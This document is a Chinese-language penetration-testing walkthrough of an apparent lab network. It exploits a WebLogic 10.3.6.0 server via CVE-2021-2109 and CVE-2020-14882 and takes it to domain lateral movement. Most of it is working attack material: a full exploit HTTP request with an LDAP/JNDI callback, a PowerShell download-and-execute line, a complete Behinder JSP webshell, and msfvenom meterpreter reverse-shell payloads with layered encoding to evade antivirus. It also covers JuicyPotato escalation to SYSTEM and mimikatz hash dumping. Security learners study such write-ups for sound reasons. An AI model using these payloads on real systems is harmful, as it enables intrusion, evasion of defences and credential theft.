| Version:
| name: Microsoft SQL Server 2008 R2 SP2
| number: 10.50.4000.00
| Product: Microsoft SQL Server 2008 R2
| Service pack level: SP2
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-03-03T09:02:09
|_ start_date: 2021-03-03T08:19:58
NSE: Script Post-scanning.
Initiating NSE at 04:03
Completed NSE at 04:03, 0.00s elapsed
Initiating NSE at 04:03
Completed NSE at 04:03, 0.00s elapsed
Initiating NSE at 04:03
Completed NSE at 04:03, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.87 seconds
可以看到7001端口存在weblogic10.3.6.0服务
由于是10.3.6.0,如果考虑CVE-2020-14882/14883,那么不能回显
这里优先考虑CVE-2021-2109
CVE-2021-2109
本地启动java -jar JNDIExploit-v1.11.jar -i 192.168.111.1
再结合CVE-2020-14882的未授权访问
然后直接POST
POST /console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.111;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.111.129:7001
cmd: ipconfig
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
成功回显了执行的命令
tasklist /svc看一下有
ZhuDongFangYu.exe <=> 360安全卫士-主动防御<br>
接下来找个静态目录写shell
因为有360这里上冰蝎混淆一下流量(虽然不知道360会不会拦)
不能写shell,不能用echo,不能调用powershell会被360杀掉,怎么办呢
这里看一文章,绕过360无文件powershell上线
直接上payload:
cmd /c echo IEX ((new-object net.webclient).downloadstring('http://192.168.111.1:8089/payload.txt')) | powershell -
这里执行失败了,远程下载文件也被waf掉了
其实直接写shell是可以的,这里注意一下转义
看一下绝对路径
cmd /c dir
返回:C:\Oracle\Middleware\user_projects\domains\base_domain
那么根据weblogic的目录结构很轻松的就可以找到存放静态资源的位置:
http://192.168.111.129:7001/console/framework/skins/wlsconsole/images/Login_11gLogo1.gif
上payload写冰蝎:
cmd /c echo ^<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\\framework\skins\wlsconsole\images\shell.jsp
冰蝎连接!连上去可以传msf的payload了,实测不会被waf掉,冰蝎太牛批了!!!
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=12345 -f exe > shellyyz.exe
传上去
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set LPORT 12345
run
然后在冰蝎上运行文件,但是这里运行文件被杀掉了,只能在payload那里做一下免杀了
初试免杀
msf自编码处理
使用msfvenom --list encoders
查看所有编码器
等级最高的是cmd/powershell_base64
和x86/shikata_ga_nai
这里选择x86/shikata_ga_nai
生成payload
msf自捆绑
msf生成的payload可以捆绑到其他exe软件上,例如这里下载一个windows里面自带的一个软件
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
接下来我们再生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=12345 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o yyz.exe
多重处理
上面的还是会被杀,那这里再多处理几次编码
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.111.128 LPORT=12345 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > yyz.exe
哦哦哦哦哦还是被杀掉了
尝试过的免杀
- 基于cpp的shellcode
- 基于go的shellcode
- cs免杀插件
- 等等
这下面的操作是我误认为免杀过了,但是只是因为weblogic的内存占用太大导致了360被挤下去了过的免杀
meterpreter
基本命令
sessions #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中/只能迁移到小于等于权限的进程里面
kill <pid值> #杀死进程
提权
先看一下补丁信息
run post/windows/gather/enum_patches
[*] Patch list saved to /home/kali/.msf4/loot/20210304021350_default_192.168.111.129_enum_patches_208142.txt
[+] KB2999226 installed on 9/8/2019
[+] KB958488 installed on 9/9/2019
[+] KB976902 installed on 11/21/2010
看一下九大权限
whoami /priv
特权信息
----------------------
特权名 描述 状态
=============================== ========================== ======
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeSecurityPrivilege 管理审核和安全日志 已禁用
SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已禁用
SeLoadDriverPrivilege 加载和卸载设备驱动程序 已禁用
SeSystemProfilePrivilege 配置文件系统性能 已禁用
SeSystemtimePrivilege 更改系统时间 已禁用
SeProfileSingleProcessPrivilege 配置文件单个进程 已禁用
SeIncreaseBasePriorityPrivilege 提高计划优先级 已禁用
SeCreatePagefilePrivilege 创建一个页面文件 已禁用
SeBackupPrivilege 备份文件和目录 已禁用
SeRestorePrivilege 还原文件和目录 已禁用
SeShutdownPrivilege 关闭系统 已禁用
SeDebugPrivilege 调试程序 已启用
SeSystemEnvironmentPrivilege 修改固件环境值 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeRemoteShutdownPrivilege 从远程系统强制关机 已禁用
SeUndockPrivilege 从扩展坞上取下计算机 已禁用
SeManageVolumePrivilege 执行卷维护任务 已禁用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
SeTimeZonePrivilege 更改时区 已禁用
SeCreateSymbolicLinkPrivilege 创建符号链接 已禁用
SeImpersonatePrivilege权限在,很好,可以使用烂土豆提权
但是这里有360,大概率会被杀掉,网上下一个免杀的就行了,还是冰蝎先传上去
C:\JuicyPotato.exe -p "C:\shellyyz.exe"
msf监听返回了merterpreter
getuid 看一下是Server username: NT AUTHORITY\SYSTEM
网络拓扑
ipconfig看一下
Interface 13
============
Name : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:68:d3:69
MTU : 1500
IPv4 Address : 10.10.10.80
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::e8e4:f653:f5de:f864
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:68:d3:5f
MTU : 1500
IPv4 Address : 192.168.111.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::cca:90b1:878f:75ce
IPv6 Netmask : ffff:ffff:ffff:ffff::
扫描内网的存活主机
run post/windows/gather/arp_scanner RHOSTS=192.168.111.0/24
[*] Running module against WEB
[*] ARP Scanning 192.168.111.0/24
[+] IP: 192.168.111.2 MAC 00:50:56:fe:f5:66 (VMware, Inc.)
[+] IP: 192.168.111.1 MAC 00:50:56:c0:00:00 (VMware, Inc.)
[+] IP: 192.168.111.129 MAC 00:0c:29:68:d3:5f (VMware, Inc.)
[+] IP: 192.168.111.128 MAC 00:0c:29:89:07:83 (VMware, Inc.)
[+] IP: 192.168.111.130 MAC 00:0c:29:9e:7b:70 (VMware, Inc.)
[+] IP: 192.168.111.254 MAC 00:50:56:f1:d2:af (VMware, Inc.)
[+] IP: 192.168.111.255 MAC 00:0c:29:68:d3:5f (VMware, Inc.)
其中1,2,254,255应该是网关路由相关的机器,那么129,128,130为存活主机
上线cs
这里选择不过360上线cs,由于回到学校用自己的电脑打渗透,环境一样,但是发现了360不工作,就很奇怪。
首先上线cs,直接生成cs的exe版本的payload即可。
提权
还是选择上面的scv-exe提权,直接派生的会话就是system权限了。
注意
- 这里还得取决于weblogic服务是否是administrator权限起的,如果不是,是不能使用administrator的token来派生system会话的,也不能抓取hash与使用mimikatz
- 如果是administrator起的weblogic服务的话,拿到的beacon是显示的web/delay (admin)这里相当于administrator权限如果不是的话,显示的是web/delay
抓取hash与横向渗透
先扫一下域存活主机,然后mimikatz抓取hash
然后生成一个SMB445端口的listener
cs里面点击菜单栏的show targets in table view
右键点击目标主机,jump -> psexec ->
可以直接用域控的hash或者密码来登录
listener选择smb,seesion使用之前获取hash的那个机子
上面是我贴的靶场1的横向渗透步骤,貌似没用,后面再学习一下其他的方法吧。先咕咕咕咕了~